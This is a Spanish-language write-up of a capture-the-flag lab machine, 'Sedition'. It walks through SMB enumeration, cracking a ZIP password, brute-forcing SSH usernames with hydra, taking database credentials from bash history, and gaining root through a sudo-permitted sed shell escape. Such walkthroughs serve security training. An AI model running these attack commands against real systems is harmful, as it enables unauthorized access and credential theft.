Write-ups

Resolución del CTF Sedition


Enumeración

Escaneo de puertos

Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.

nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.120
  • -p- : Escaneo de todos los puertos. (65535)
  • -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
  • -sC : Escaneo con scripts básicos de reconocimiento.
  • -sV : Detección de servicios.
  • –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
  • -n : Sin resolución DNS.
  • -Pn : Sin descubrimiento por ping.

Identificamos SMB en los puertos 139/445 y un servicio SSH expuesto en el puerto no estándar 65535.

Enumeración SMB

Enumeramos recursos SMB utilizando sesión anónima.

nxc smb 192.168.0.120 -u '' -p '' --shares

Accedemos al recurso compartido backup con permisos de lectura.

smbclient //192.168.0.120/backup -N

Descargamos el archivo comprimido localizado en el recurso.

get secretito.zip

Análisis del archivo ZIP

El archivo ZIP está protegido por contraseña. Extraemos el hash para proceder al cracking.

zip2john secretito.zip > hash.txt

Crackeamos la contraseña mediante diccionario.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Extraemos el contenido del ZIP con la contraseña obtenida.

unzip secretito.zip

Se obtiene un archivo password con una contraseña sin usuario asociado.

Acceso inicial

Identificamos el usuario válido para SSH mediante fuerza bruta usando la contraseña obtenida.

hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -p <PASSWORD> ssh://192.168.0.120:65535 -t 40

Accedemos por SSH con el usuario identificado.

ssh -p 65535 [email protected]

Estabilizamos la terminal.

export TERM=xterm

Post-explotación

Revisamos el historial de comandos y localizamos credenciales para acceso a MariaDB.

cat ~/.bash_history

Accedemos a la base de datos con las credenciales encontradas.

mariadb -u cowboy -p

Enumeramos bases de datos y tablas.

SHOW DATABASES;
USE bunker;
SHOW TABLES;

Extraemos credenciales almacenadas en la tabla users.

SELECT * FROM users;

Crackeamos el hash MD5 y obtenemos credenciales del usuario debian.

su debian

Escalada de privilegios

Enumeramos privilegios sudo del usuario actual.

sudo -l

Detectamos permiso para ejecutar sed como root sin contraseña y explotamos el binario.

sudo sed -n '1e exec sh 1>&0' /etc/hosts

Obtenemos shell como root y accedemos al sistema con privilegios totales.


Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *